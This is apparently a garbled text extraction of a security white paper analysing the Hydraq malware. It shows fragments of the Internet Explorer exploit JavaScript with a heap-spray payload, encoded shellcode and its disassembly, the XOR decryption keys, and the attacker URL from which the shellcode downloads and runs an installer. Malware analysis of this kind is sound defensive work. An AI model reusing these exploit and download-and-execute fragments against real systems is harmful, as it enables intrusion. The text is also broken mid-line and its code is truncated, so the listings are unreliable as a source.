text
stringlengths
4
429
s malicious JavaScript contains code that takes advantage of Internet Explorer (IE)
HTML object handling flaw and is triggered when IE tries to access a deleted or incorrectly initialized HTML object. [Listing 02]
Once the exploit attack is successful, Hydraq
s binary shellcode will then execute on the target
system.
var e1=null;
function ev1(evt)
e1=document.createEventObject(evt);
document.getElementById("sp1").innerHTML="";
window.setInterval(ev2, 50);
function ev2()
p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0
d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0
c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"
for(i=0;i<x1.length;i++){x1[i].data=p;};
var t=e1.srcElement;
[Listing 02 - JS/Hydraq IE exploit routine]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
1.4 Hydraq Binary Shellcode
As shown in Listing 01, Hydraq binary shellcode is u% encoded. A simple bitwise XOR encryption
and 0xD8 as the key, will reveal the hidden instruction.
<html><script> var
sc=unescape("%u9090%u19eb%u4b5b%u3
390%u90c9%u7b80%ue901%u0175%u66c3%
01012475 > $ 90
01012476
. 90
01012477
. EB 19
01012479
$ 5B
0101247A
. 4B
0101247B
. 90
0101247C
. 33C9
0101247E
. 90
0101247F
. 807B 01 E9
01012483
. 75 01
01012485
. C3
01012486
> 66:B9 7B04
0101248A
> 80340B D8
0101248E
.^E2 FA
01012490
. EB 05
01012492
> E8 E2FFFFFF
JMP SHORT calc.01012492
POP EBX
DEC EBX
XOR ECX,ECX
CMP BYTE PTR DS:[EBX+1],0E9
JNZ SHORT calc.01012486
RETN
MOV CX,47B
XOR BYTE PTR DS:[EBX+ECX],0D8
LOOPD SHORT calc.0101248A
JMP SHORT calc.01012497
CALL calc.01012479
[Listing 03 - The shellcode is injected to calc.exe for this analysis]
A quick string inspection of the decrypted code shows that it contains Win32/Hydraq installer
location, as shown below:
00000440:
00000450:
00000460:
74 57 66 0D-FF 43 BE AC-DB 98 0A 10-F8 80 D6 AF
9A FB 53 15-66 68 74 74-70 3A 2F 2F-64 65 6D 6F
31 2E 66 74-70 61 63 63-65 73 73 2E-63 63 2F BC
tWf?
fhttp://demo
1.ftpaccess.cc/+
[Listing 04 - Decrypted strings from shellcode]
Hydraq shellcode contains instructions that will download encrypted file from the internet. The
encrypted file is Hydraq
s installer which is stored at %Document and Settings%\<username>\Application Data\a.exe
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Shellcode APIs
shell32.SHGetSpecialFolderPathA //
urlmon.URLDownloadToFileA
...kernel32.CreateFileA
Once downloaded, it decrypts the file a.exe by performing a bitwise
XOR operation using 0x95 as its key; it skips bytes equal to 0x95 and
0x00.
...kernel32.GetFileSize
// decrypt downloaded file
...kernel32.CreateFileA
...kernel32.SetFilePointer
...kernel32.ReadFile
...kernel32.WriteFile
...kernel32.CloseHandle
...kernel32.CloseHandle